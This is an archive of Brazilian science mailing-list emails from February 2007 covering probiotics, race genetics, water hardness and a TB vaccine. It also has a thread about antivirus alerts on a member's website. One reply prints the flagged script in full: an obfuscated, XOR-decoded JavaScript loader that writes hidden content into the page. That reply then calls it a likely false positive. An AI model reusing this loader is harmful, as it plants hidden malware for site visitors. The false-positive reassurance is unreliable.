Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 22 de fevereiro de 2007 10:31
Assunto: [ciencialist] Re: Qual o objetivo da discussão?


--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu

> > bactérias e foram descobertas na década de 50 do século XX por
Kasey Shirota.
>
> Hein? O q existem são linhagens Shirota dos Lactobacillus casei.
> Minoru Shirota baseando-se em suas pesquisas, em meados da década de
> 1930, desenvolveu o Yakult.

Manuel: Realmente, que confusão eu fiz! Obter informações em
conversas informais (com um menino perto chorando porque quer ir ao
MacDonald) freqüentemente dá nisso.

Em vez de flora intestinal, não seria melhor a expressão microbiota
intestinal?

Abraços,
Manuel Bulcão







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SUBJECT: Re: Tartarugas, mamutes, e o engano de Jose Renato (era Drauzio Varella - Folha
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/02/2007 13:15

Olá Silvio e Jefferson,

Silvio: Entenda que não existe "raça" - todos nós temos o mesmo DNA,
a mesma origem: só sofremos mudançasfísicas em >função da
adaptabilidade ao meio ambiente.

Jefferson: Eu entendo raça como sinônimo de sub-espécie. Só que as
diferenças entre os humanos são tão poucas (poucos genes) que talvez
não seja correto classificá-las em raças.

Manuel: Isso já foi discutido aqui nesta lista.

Graças aos trabalhos do antropólogo L. L. Cavalli-Sforza, sabe-se
hoje que as diferenças genéticas entre as raças humanas decorrem
muito mais de fatores contingentes (processos aleatórios de migrações
de populações) do que do jogo da seleção natural. Ademais, estudos
realizados nos anos 70 do século passado (B. D. Latter e equipe)
demonstraram que existe muito mais diversidade genética entre os
indivíduos de uma raça do que entre indivíduos de raças humanas
diferentes; ou seja, segundo o biólogo Marcel Blanc:

<<Um indivíduo francês natural de Auvergne tem quase uma chance em
quatro de não ter nenhum alelo em comum com um conterrâneo
(exatamente 0,251). (É também a mesma probabilidade com que um
senegalês difere de um outro senegalês, ou um vietnamita de outro.)
Mas a probabilidade de que uma pessoa natural de Auvergne não tenha
nenhum alelo em comum com um senegalês é só um pouco mais alta
(exatamente 0,278).>> - Marcel Blanc; Os Herdeiros de Darwin; Editora
Página Aberta Ltda.; São Paulo – SP; 1994; pp. 137/138.

Silvio: Procure, em bons autores o significado atual de "bizantino".
no Aurélio as definições 4 e 5 são razoáveis.

Jefferson: Bom, fiquei sem entender, pois não tenho um dicionário na
mão :-) Com certeza refere-se a alguma característica do império
bizantino, mas não saquei.

Manuel: Segundo o Houaiss, bizantinismo é a tendência a se preocupar
com temas complexos e sutis, porém sem importância ou conseqüência
prática, esp. quando há questões mais relevantes a resolver.

Não acho que essa questão seja "bizantina", dado o racismo atualmente
vigente e o racismo "científico" que assolou o mundo durante a
Segunda Grande Gerra Mundial.

Abraços,
Manuel Bulcão




SUBJECT: Re: [ciencialist] Ciencialist com site .com!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/02/2007 13:19

No setor EQUIPE

Luís Brudna ---------- com 's' e com acento no 'i'.

Luiz Ferraz Netto --- com 'z' e sem acento no 'i'.

Roberto M. Takata --- com M. (de significado indeterminado, provavelmente, Memoriosuki)

Se a página fosse na língua pátria (digamos, a nossa) eu me sentiria mais confortável e esperançoso. Os norte-americanos são atualmente "os mais fortes" e, de acordo com a seleção natural darwiniana, serão vencidos pelos mais fracos e oprimidos, que sobreviverão. Fiquemos do lado dos mais fracos e, se necessário, ao extremo, sejamos 'corintianos', afastando-nos dos mais fortes 'sãopaulinos' ou 'palmeirenses'.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Luis Brudna" <luisbrudna@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 22 de fevereiro de 2007 11:15
Assunto: [ciencialist] Ciencialist com site .com!


Agora a Ciencialist tem site proprio! :-)

http://www.ciencialist.com

Instalei neste momento o Wordpress, que facilita a atualizacao.

Durante esse final de semana vou inserir as informacoes e modificar o visual.

Os moderadores poderao ter acesso ao controle do Wordpress.

Ateh
Luis Brudna - administrador


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SUBJECT: Re: Qual o objetivo da discussão?
FROM: Robespierre B. Gonçalves <robespierre.goncalves@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/02/2007 15:48

O que disse Nietzche para a moral serve para religiões e sistemas de
governo: "é uma invenção que o homem esqueceu que inventou".
Somos todos livres, sempre. Apenas fingimos que não, por medo da
responsabilidade que a liberdade traz.

[]s,
Pierre


--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
<scordeiroes@...> escreveu
>
> Bruna:
>
> O homem não pode ser livre pois é apenas um componente de um
sistema complexo: a humanidade. E essa humanidade, hoje, é totalmente
fracionada impondo ao homem uma serie de coerções tanto intelectuais
(religiões) como políticas (formas de governo) que não lhe é
permidido exercer o mito da liberdade.
> Ser livre é coisa para uso pessoal de poetas...
> E mesmo definir o que é ser "livre" é trabalho pesado pois temos
uma limitação absoluta: o corpo.... E como sem ele, não existimos,
temos de deixar essa utopia para as calendas gregas....
>
> sds.,
>
> silvio
> ----- Original Message -----
> From: Bruna Carolina Ribas
> To: ciencialist@yahoogrupos.com.br
> Sent: Wednesday, February 21, 2007 4:40 PM
> Subject: Re: [ciencialist] Re: Qual o objetivo da discussão?
>
>
> O intento é sermos livres,
> a começar por não dependermos dos animais não-humanos.
>
> Silvio Cordeiro <scordeiroes@...> escreveu: Mestre:
>
> Tomo a liberdade de dar minha opinião:
> Se as vacas fossem minhas, eu as salvaria primeiro.
> O defunto cremado serviria para adubo.
> Se não fosse proprietário nem pudesse roubar as vacas,
perguntaria ao cidadão em quem ele votou. E tomaria uma decisão.
>
> Aproveitando o ensejo, gostaria de entrar para a falange dos
adoradores da deusa Sensatez.
> A gran sacerdotiza Bruna poderia detalhar o escopo?
>
> grato,
>
> silvio
>
> sds.,
> silvio.
> ----- Original Message -----
> From: rmtakata
> To: ciencialist@yahoogrupos.com.br
> Sent: Tuesday, February 13, 2007 6:28 PM
> Subject: [ciencialist] Re: Qual o objetivo da discussão?
>
> --- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> > O meu objetivo, Manu, é converter a todos para minha religião
chamada
> > Sensatez.
>
> Bom senso é um dos bens mais bem distribuídos do mundo: todo
mundo acha
> que tem.
>
> Continua a pergunta: 200 vacas ou 1 ser humano - quem vc salvaria
> prioritariamente em um incêndio?
>
> []s,
>
> Roberto Takata
>
> ----------------------------------------------------------
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.441 / Virus Database: 268.18.1/690 - Release Date:
16/2/2007 14:25
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>
>
>
> __________________________________________________
> Fale com seus amigos de graça com o novo Yahoo! Messenger
> http://br.messenger.yahoo.com/
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>
>
>
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>
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.441 / Virus Database: 268.18.1/690 - Release Date:
16/2/2007 14:25
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: Fw: água mole/dura
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/02/2007 16:18

O abrandamento da água dura não é feito pela simples adição de
produtos químicos. Há três processos possíveis: a destilação, a osmose
reversa e a troca iônica.

Os dois primeiros processos são caros para a maioria dos usos. A troca
iônica consiste em fazer a água passar por uma superfície de uma
material especial: uma camada ou esferas de plástico ou resina sobre
cuja superfície existem íons sódio. Os íons sódio são trocados com os
íons cálcio e magnésio presentes na água - estes ficam retidos na
superfície do abrandador de água. Depois de um tempo, ela fica
saturada de cálcio e magnésio e precisa ser restaurada - geralmente se
faz com a lavagem com uma salmoura bem concentrada (os íons sódio do
sal, em grande quantidade, deslocam os íons magnésio e cálcio).

A questão da dureza da água é importante não apenas pelo efeito que
causa sobre sabões e certos detergentes, mas também pela crosta que
cria sobre a superfície de canos e recipientes: assim sistemas que
usam caldeiras são bastante sensíveis a esse problema, por conta do
efeito de calefação que pode ocorrer com a incrustação da superfície
das caldeiras e posterior desprendimento de parte da crosta.

A borra na borda da banheira é mais devido à sujeira - incluindo óleo
e gordura que se desprende do corpo.

http://home.howstuffworks.com/question99.htm

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Meus assessores químicos andam meio parados. Eis a grande chance!
> -----Mensagem Original-----
> De: Laura Schichvarger
> Enviada em: quinta-feira, 22 de fevereiro de 2007 18:13
> Assunto: água mole/dura
>
> Que substâncias são usadas como amolecedoras de água? É possível
> fazer isso em casa?
> Aquela borra que se forma na banheira depois do banho é, então,
> devido à água dura?
> Além de empresas de lavagem industrial e lavanderias, onde mais é
> tomado o cuidado de amolecer a água?
> Desde já agradeço seu tempo e atenção; aguardo seu retorno




SUBJECT: Re: [ciencialist] racismo e pitacos.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/02/2007 16:34

Manoel:
Assuntos já discutidos podem voltar à tona caso se questione o assunto. Apenas respondi a e-mails enviados, não me cabe a carapuça. Nem com referência a bizantino: é uma questão de interpretação. Racismo existe desde os primevos tempos. Na Hélade é um exemplo.
Gostaria que vs. me explicasse esse racismo científico durante a Guerra de 40 e sua relação com "bizantino" na acepção citada. Será que nunca sei nada?
Pitacos pra todo lado!!!

sds.,
silvio.
----- Original Message -----
From: Manuel Bulcão
To: ciencialist@yahoogrupos.com.br
Sent: Friday, February 23, 2007 1:15 PM
Subject: [ciencialist] Re: Tartarugas, mamutes, e o engano de Jose Renato (era Drauzio Varella - Folha


Olá Silvio e Jefferson,

Silvio: Entenda que não existe "raça" - todos nós temos o mesmo DNA,
a mesma origem: só sofremos mudançasfísicas em >função da
adaptabilidade ao meio ambiente.

Jefferson: Eu entendo raça como sinônimo de sub-espécie. Só que as
diferenças entre os humanos são tão poucas (poucos genes) que talvez
não seja correto classificá-las em raças.

Manuel: Isso já foi discutido aqui nesta lista.

Graças aos trabalhos do antropólogo L. L. Cavalli-Sforza, sabe-se
hoje que as diferenças genéticas entre as raças humanas decorrem
muito mais de fatores contingentes (processos aleatórios de migrações
de populações) do que do jogo da seleção natural. Ademais, estudos
realizados nos anos 70 do século passado (B. D. Latter e equipe)
demonstraram que existe muito mais diversidade genética entre os
indivíduos de uma raça do que entre indivíduos de raças humanas
diferentes; ou seja, segundo o biólogo Marcel Blanc:

<<Um indivíduo francês natural de Auvergne tem quase uma chance em
quatro de não ter nenhum alelo em comum com um conterrâneo
(exatamente 0,251). (É também a mesma probabilidade com que um
senegalês difere de um outro senegalês, ou um vietnamita de outro.)
Mas a probabilidade de que uma pessoa natural de Auvergne não tenha
nenhum alelo em comum com um senegalês é só um pouco mais alta
(exatamente 0,278).>> - Marcel Blanc; Os Herdeiros de Darwin; Editora
Página Aberta Ltda.; São Paulo - SP; 1994; pp. 137/138.

Silvio: Procure, em bons autores o significado atual de "bizantino".
no Aurélio as definições 4 e 5 são razoáveis.

Jefferson: Bom, fiquei sem entender, pois não tenho um dicionário na
mão :-) Com certeza refere-se a alguma característica do império
bizantino, mas não saquei.

Manuel: Segundo o Houaiss, bizantinismo é a tendência a se preocupar
com temas complexos e sutis, porém sem importância ou conseqüência
prática, esp. quando há questões mais relevantes a resolver.

Não acho que essa questão seja "bizantina", dado o racismo atualmente
vigente e o racismo "científico" que assolou o mundo durante a
Segunda Grande Gerra Mundial.

Abraços,
Manuel Bulcão






------------------------------------------------------------------------------


No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.441 / Virus Database: 268.18.3/699 - Release Date: 23/2/2007 13:26


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: aviso sobre virus no site
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 23/02/2007 16:47

Recebi hoje dois avisos de que na página de abertura de meu site há vírus.
Entre lá e não consegui descobrir o dito cujo; parece ser do tipo malware. O código fonte só acusa um javascript no relógio da página de abertura.
Por gentileza, experts no ramo verifiquem isso prá mim.
agradeço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "salgadocn" <salgadocn@uol.com.br>
Para: "leobarretos" <leobarretos@uol.com.br>
Enviada em: quinta-feira, 22 de fevereiro de 2007 14:58
Assunto: aviso sobre virus no site


favor verificar arquivo anexo



--------------------------------------------------------------------------------


Internal Virus Database is out-of-date.
Checked by AVG Free Edition.
Version: 7.5.441 / Virus Database: 268.18.0/689 - Release Date: 15/02/2007 17:40


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: �gua mole/dura
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 23/02/2007 16:48

Meus assessores químicos andam meio parados. Eis a grande chance!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Laura Schichvarger
Para: leobarretos@uol.com.br
Enviada em: quinta-feira, 22 de fevereiro de 2007 18:13
Assunto: água mole/dura


Olá Prof. Luiz Ferraz Netto

Achei sua experiência para observar os efeitos da água dura com detergente em http://www.feiradeciencias.com.br/sala21/21_06.asp. Gostaria de saber mais sobre o assunto. Que substâncias são usadas como amolecedoras de água? É possível fazer isso em casa?
Aquela borra que se forma na banheira depois do banho é, então, devido à água dura?
Além de empresas de lavagem industrial e lavanderias, onde mais é tomado o cuidado de amolecer a água?
Desde já agradeço seu tempo e atenção; aguardo seu retorno

um abraço,

Laura Schichvarger
repórter Agora SP
(11) 3224.7772
al. Barão de Limeira, 425, 2º andar
01202-900 São Paulo - SP - Brasil


--------------------------------------------------------------------------------


Internal Virus Database is out-of-date.
Checked by AVG Free Edition.
Version: 7.5.441 / Virus Database: 268.18.0/689 - Release Date: 15/02/2007 17:40


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [RN] PROGRAMA DE TV JAPONES FALSIFICA CIENCIA
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/02/2007 16:54

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> NATURE, 21-02-2007

Este está pedindo por uma tradução...

> JAPANESE TV SHOW ADMITS FAKING SCIENCE

Show de TV japonês admite falsificar ciência.

Para cientistas que falam sobre suas pesquisas para a mídia de massa,
um escândalo em um show de televisão japonês mostra até que ponto as
coisas podem dar errado. A Kansai Telecasting Corporation (KTV)
admitiu que falsificou resultados científicos em um de seus programas,
e usou dublagem para colocar palavras na boca de pesquisadores
estrangeiros. Depois de um protesto da mídia japonesa, a compania
cancelou a série e está revisando todos os 520 episódios.

Uma das vítimas é o Dr. Kim, um professor de uma universidade
americana que estuda a fermentação da soja. Ele concordou em dar
entrevista, mas pediu que seu primeiro nome e o nome da entidade em
que trabalha fossem omitidos. Ele foi entrevistado pela KTV sobre sua
pesquisa em janeiro de 2006. Quando finalmente viu o programa este
mês, ele ficou horrorizado. O show - e Kim - destacavam os benefícios
à saúde de uma massa de soja fermentada chamada miso. "Eles fizeram
parecer que eu havia dito muitas coisas que não disse. Cerca de 60% do
conteúdo não estava correto," diz ele.

Hakkutsu: Aruaru Daijiten II (que pode ser traduzido para "Escavação:
uma enciclopédia de fatos") era um show semanal propular de dez anos
da Fuji Television Network e era visto em cerca de 15% dos lares
japoneses. Apresentado como um documentário científico, o show cobria
tópicos sobre alimentação e saúde e era baseado em entrevistas com
cientistas.

http://www.nature.com/nature/journal/v445/n7130/full/445804a.html

[]s
--
César A. K. Grossmann



SUBJECT: Fw: *BR* Vacina produzida por universidades paulistas pode acabar com a tuberculose
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 23/02/2007 16:55

Transcrevo:


http://envolverde.ig.com.br/?materia=27696#

23/02/2007 - 10h02

Vacina produzida por universidades paulistas pode acabar com a tuberculose

Por Manuel Alves Filho, da Unicamp

Uma pesquisa conduzida por cientistas da Unicamp e da USP está abrindo novas perspectivas para o combate da tuberculose,
doença que provoca a morte de três milhões de pessoas a cada ano no mundo, a maioria delas de baixa renda. O objetivo da
cooperação foi desenvolver, com a ajuda de recursos da nanotecnologia, um sistema que permitisse a veiculação e a
liberação controlada de uma vacina de DNA no organismo humano.

A vacina, que vem sendo testada desde 1992 em animais de laboratório, demonstrou ter capacidade tanto de prevenir quanto
de curar a moléstia. A expectativa dos pesquisadores é que, caso os ensaios clínicos sejam positivos, o biofármaco
chegue ao mercado num prazo ligeiramente superior a cinco anos. Estão envolvidos no trabalho especialistas do Núcleo de
Pesquisas em Tuberculose (NPT) da Faculdade de Medicina de Ribeirão Preto, vinculada à USP, e do Departamento de
Processos Biotecnológicos da Faculdade de Engenharia Química (FEQ), ligada à Unicamp.

De acordo com o coordenador do NPT, professor Celio Lopes Silva, os resultados dos testes realizados até o momento com a
vacina de DNA, também conhecida como gênica, são altamente promissores. Ele destaca que o processo de desenvolvimento do
biofármaco já foi devidamente patenteado.

A vacina de DNA, conforme Celio Silva, é considera mais eficaz e segura que a vacina convencional, normalmente preparada
a partir de uma parte atenuada do agente causador da doença. Em ambos os casos, o objetivo é induzir o sistema
imunológico humano a produzir defesas contra o bacilo da tuberculose (Mycobacterium tuberculosis), mais conhecido por
"bacilo de Koch", por ter sido identificado pela primeira vez em 1882 pelo cientista alemão Robert Koch. No que se
refere à terapêutica gênica, porém, a ação do biofármaco cumpre um processo mais complexo. No lugar de uma proteína, ele
veicula a informação genética extraída do microorganismo.

Apesar dos resultados animadores proporcionados pelos testes, os pesquisadores da USP tinham um problema a resolver.
Eles precisavam de um veículo que pudesse a um só tempo proteger, transportar e liberar o biofármaco de forma controlada
no interior das células. Do contrário, o DNA se degeneraria muito rapidamente e perderia sua capacidade de ação. Ou
seja, tinham a necessidade do suporte da Engenharia Química.

Para atender a essas necessidades, o professor Celio Silva associou-se à professora Maria Helena Andrade Santana, do
Departamento de Processos Biotecnológicos da FEQ, para a condução de um projeto de pesquisa conjunto. Com experiência no
desenvolvimento de micro e nanopartículas que se prestam ao carreamento de fármacos, a docente da Unicamp assumiu, junto
com sua equipe, a responsabilidade de criar um veículo específico para o transporte da vacina gênica. Assim, eles
projetaram e produziram nanopartículas lipídicas, denominadas lipossomas, para cumprir essa tarefa.

O uso de micro e nanopartículas para o transporte e liberação controlada de fármacos já está consolidado no mundo
inteiro e constitui, segundo os pesquisadores, uma tendência irreversível.

Nos ensaios realizados em laboratório, os lipossomas desenvolvidos pelos pesquisadores da Unicamp demonstraram cumprir
com eficiência essa missão. Resta agora produzir um lote-piloto dessas partículas, seguindo as mesmas condições que
seriam encontradas na indústria. Ato contínuo, serão iniciados os testes clínicos em humanos. A primeira etapa deve
durar cerca de dois anos e a segunda, mais três. "Durante esse período, saberemos qual o grau de toxicidade do preparado
e se ele de fato pode vir a se transformar num produto comercial. Caso tudo corra bem, a vacina de DNA pode vir a ser um
importante recurso para o esforço de erradicação da tuberculose no mundo", analisa o professor Celio Silva. De acordo
com a professora Maria Helena Santana, o processo de produção dos lipossomas está sendo patenteado.

O desenvolvimento de medicamentos de liberação controlada seria impossível se não houvesse a interação entre
pesquisadores de diferentes áreas do conhecimento. As pesquisas em torno da vacina de DNA já deram origem a uma
dissertação de mestrado e uma tese de doutorado, elaboradas respectivamente por Rogério Silva Rosada e Lucimara Gaziola
de la Torre.

Os trabalhos contam com o apoio financeiro da Fundação de Amparo à Pesquisa do Estado de São Paulo (Fapesp) e Conselho
Nacional de Desenvolvimento Científico e Tecnológico (CNPq).

País tem 130 mil novos casos/ano

A tuberculose é um flagelo milenar. Atualmente, ela atinge com maior freqüência os integrantes das camadas mais carentes
da população. O professor Celio Lopes Silva, do Núcleo de Pesquisas em Tuberculose (NPT) da Faculdade de Medicina de
Ribeirão Preto (USP), explica que as pessoas subnutridas são mais suscetíveis à doença. Atualmente, 2 bilhões de pessoas
encontram-se infectadas pelo bacilo de Koch, número que equivale a um terço da população mundial. Destas, cerca de 8
milhões vão desenvolver a enfermidade, sendo que 3 milhões morrerão.

No Brasil, são registrados anualmente 130 mil novos casos. Conforme dados do Ministério da Saúde, o país ocupa o 15º
lugar entre as 22 nações responsáveis por 80% do total de casos de tuberculose no mundo.
(Envolverde/Unicamp)

.




[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Olá Prof Leo
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "Luiz Carlos Hartman" <lchartman@superig.com.br>
DATE: 23/02/2007 17:06

Olá prezado xará,

suas palavras deixaram-me realmente 'com a bola cheia'! E tem gente que diz que uma massagem no ego não faz bem! Pois sim!

Agradeço a lembrança de escrever-me e comunico que o site está aberto para suas sugestões/críticas ... e o que vier :-)

Ah! Assim que eu adquirir conhecimento suficiente para produzir CDroom cópia do site, com navegação totalmente interna ao CD, você receberá a notificação desse grande feito e terá a oportunidade de investir R$ 10,00 na compra desse CD. Concorrerá a um prêmio (estou decidindo por uma viagem à Marte, Vênus ou Barretos) :-)))

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Luiz Carlos Hartman" <lchartman@superig.com.br>
Para: <leobarretos@uol.com.br>
Enviada em: quinta-feira, 22 de fevereiro de 2007 10:49
Assunto: Olá Prof Leo


Prezado Prof.

Sou engenheiro e professor desde 1971, já vi muitas coisas bem feitas dignas
de serem admiradas, trabalhei em indústrias de diversos portes, inclusive em
plataformas de petróleo (as quais possuem o que há topo de linha), já
lecionei em várias escolas, e nunca vi um trabalho tão bem feito quanto o
que o sr apresenta no seu site.
\"Haja\" dedicação e carinho para executá-lo, só tenho um comentário...
parabéns.
O site é tão bem feito que dá uma vontade de fazer uma cópia e utilizá-lo em
aula, porém como manda a ética ensinada pelos meus pais, indiquei o link e
citei o autor.
Abraços


Saudações

Luiz Carlos Hartman
fone 0 xx 11 9883 920

Nota só para qualificar os meus comentários leciono na UNICSUL, e sou
doutorando pelo IPEN - USP







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Internal Virus Database is out-of-date.
Checked by AVG Free Edition.
Version: 7.5.441 / Virus Database: 268.18.0/689 - Release Date: 15/02/2007 17:40



SUBJECT: Fw: Algo estranho em seu site
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 23/02/2007 17:25

Eis outro, conforme texto abaixo.
As imagens que o acompanham não irão aparecer por aqui, então transcrevo:

Malware: Exploit JS.ADODB.Stream.ac

Trojan: Trojan-Downloader.JS.Agent.cb


Agradeço providências.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: LuizRDM
Para: profleo@yahoogrupos.com.br
Cc: leobarretos@uol.com.br
Enviada em: quarta-feira, 21 de fevereiro de 2007 23:36
Assunto: Algo estranho em seu site


Bom dia Professor Léo,

Encontrei seu site navegando no Intermática ( http://www.intermatica.org/ )
no infodrops 149 (em http://www.intermatica.org/INFODROPS-4.html )

Parabéns! Tenho 47 anos e achei fantástico!

Porém, algo estranho está ali...
Ao entrar (somente na página inicial)
disparou o alarme de Malware:


Clicando em Deny, um Trojan:


Navegando pela URL http://todo2pm.com/ verifiquei que
pertence a "Test Page for the Apache HTTP Server on Fedora Core".
O estranho é que no "código fonte" de seu site não encontrei
esse link.

Sugiro que o Sr. verifique o que estaria provocando isso pois
tenho certeza que não foi colocado pelo Sr.

Atenciosamente

Luiz Roberto De Marco

P.S. Uso o Kaspersky anti-vírus



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Internal Virus Database is out-of-date.
Checked by AVG Free Edition.
Version: 7.5.441 / Virus Database: 268.18.0/689 - Release Date: 15/02/2007 17:40


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Fw: Algo estranho em seu site
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/02/2007 18:05

Olá Leo

Alguns sistemas anti-virus pdoem acusar "falsos positivos" para scritpts
legítimos. Dei uma olhada meio por cima e mais à noite verifico com mais
calma, mas aparentemente um trecho do script a seguir está disparando seu
antivirus:

-script language="JavaScript"- e = '0x00' + '63';
str1 =
"%D8%80%8B%96%FC%91%90%9B%88%87%DF%C2%96%8B%91%8B%82%8B%88%8B%90%9B%DA%84%8B%80%80%87%8E%C2%DE%D8%8B%86%92%83%8F%87%FC%91%92%81%DF%C2%84%90%90%8C%DA%CD%CD%90%8D%80%8D%D2%8C%8F%CE%81%8D%8F%CD%8F%87%8E%90%CD%C2%FC%95%8B%80%90%84%DF%D3%FC%84%87%8B%85%84%90%DF%D3%DE%D8%CD%8B%86%92%83%8F%87%DE%D8%CD%80%8B%96%DE";
str=tmp='';
for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));
str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);
-script

Muitos sistemas de proteção lêem códigos de assinatura de virus que podem
ser parecidos ou combinar com essa sequencia de caracteres acima (o valor da
variável str1).

Se for isso, não deve se preocupar, pois sua página está "saudável". Pode
fazer um teste, salvando a página principal, sem este script e ver se a
mensagem de erro se repete.

Mais á noite vejo seu código com mais calma.

Um abraço.

Homero



----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist
Sent: Friday, February 23, 2007 4:25 PM
Subject: [ciencialist] Fw: Algo estranho em seu site


Eis outro, conforme texto abaixo.
As imagens que o acompanham não irão aparecer por aqui, então transcrevo:

Malware: Exploit JS.ADODB.Stream.ac

Trojan: Trojan-Downloader.JS.Agent.cb

Agradeço providências.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: LuizRDM
Para: profleo@yahoogrupos.com.br
Cc: leobarretos@uol.com.br
Enviada em: quarta-feira, 21 de fevereiro de 2007 23:36
Assunto: Algo estranho em seu site

Bom dia Professor Léo,

Encontrei seu site navegando no Intermática ( http://www.intermatica.org/ )
no infodrops 149 (em http://www.intermatica.org/INFODROPS-4.html )

Parabéns! Tenho 47 anos e achei fantástico!

Porém, algo estranho está ali...
Ao entrar (somente na página inicial)
disparou o alarme de Malware:

Clicando em Deny, um Trojan:

Navegando pela URL http://todo2pm.com/ verifiquei que
pertence a "Test Page for the Apache HTTP Server on Fedora Core".
O estranho é que no "código fonte" de seu site não encontrei
esse link.

Sugiro que o Sr. verifique o que estaria provocando isso pois
tenho certeza que não foi colocado pelo Sr.

Atenciosamente

Luiz Roberto De Marco

P.S. Uso o Kaspersky anti-vírus

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Checked by AVG Free Edition.
Version: 7.5.441 / Virus Database: 268.18.0/689 - Release Date: 15/02/2007
17:40

[As partes desta mensagem que não continham texto foram removidas]






SUBJECT: Re: [ciencialist] Ciencialist com site .com!
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/02/2007 18:18

Deus:

Profundamente lamentável esse bairismo paulista: a zelite do ciencialist não privilegia nem um único botafoguense....
Será que a tesoura vai cantar?

sds.,

silvio.
----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, February 23, 2007 1:19 PM
Subject: Re: [ciencialist] Ciencialist com site .com!


No setor EQUIPE

Luís Brudna ---------- com 's' e com acento no 'i'.

Luiz Ferraz Netto --- com 'z' e sem acento no 'i'.

Roberto M. Takata --- com M. (de significado indeterminado, provavelmente, Memoriosuki)

Se a página fosse na língua pátria (digamos, a nossa) eu me sentiria mais confortável e esperançoso. Os norte-americanos são atualmente "os mais fortes" e, de acordo com a seleção natural darwiniana, serão vencidos pelos mais fracos e oprimidos, que sobreviverão. Fiquemos do lado dos mais fracos e, se necessário, ao extremo, sejamos 'corintianos', afastando-nos dos mais fortes 'sãopaulinos' ou 'palmeirenses'.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Luis Brudna" <luisbrudna@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 22 de fevereiro de 2007 11:15
Assunto: [ciencialist] Ciencialist com site .com!

Agora a Ciencialist tem site proprio! :-)

http://www.ciencialist.com

Instalei neste momento o Wordpress, que facilita a atualizacao.

Durante esse final de semana vou inserir as informacoes e modificar o visual.

Os moderadores poderao ter acesso ao controle do Wordpress.

Ateh
Luis Brudna - administrador

=-=-=-

##### ##### #####

Página de apoio
http://www.ciencialist.hpg.ig.com.br

##### ##### ##### #####
Links do Yahoo! Grupos

--
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Version: 7.5.441 / Virus Database: 268.18.0/689 - Release Date: 15/02/2007 17:40






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Qual o objetivo da discussão?
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/02/2007 18:58

Rob.:

sua intervenção é simplesmente religiosa. Paz é, entre humanos, utopia.
Si vis pacem, para belum.

sds.,

silvio
----- Original Message -----
From: Robespierre B. Gonçalves
